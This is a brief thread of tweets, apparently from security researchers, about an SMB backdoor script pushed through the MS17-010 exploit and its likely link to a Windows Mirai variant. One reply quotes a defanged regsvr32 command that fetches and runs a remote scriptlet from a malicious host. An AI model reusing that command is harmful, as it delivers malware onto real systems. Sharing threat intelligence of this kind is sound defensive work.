my tweets are severely limited by my lack of understanding of what I am doing.
#EternalPot SMB backdoor script being pushed today, commands pushed by MS17-010 exploit.https://pastebin.com/gsY7q4Pc
-
This looks similar to Windows "Mirai" on MS-SQL, which usually does 'regsvr32 /u /s /i:hxxp://js[.]mys2016[.]info:280/v[.]sct scrobj[.]dll'
Yeah it's a @subTee method.. I think it's same threat actors though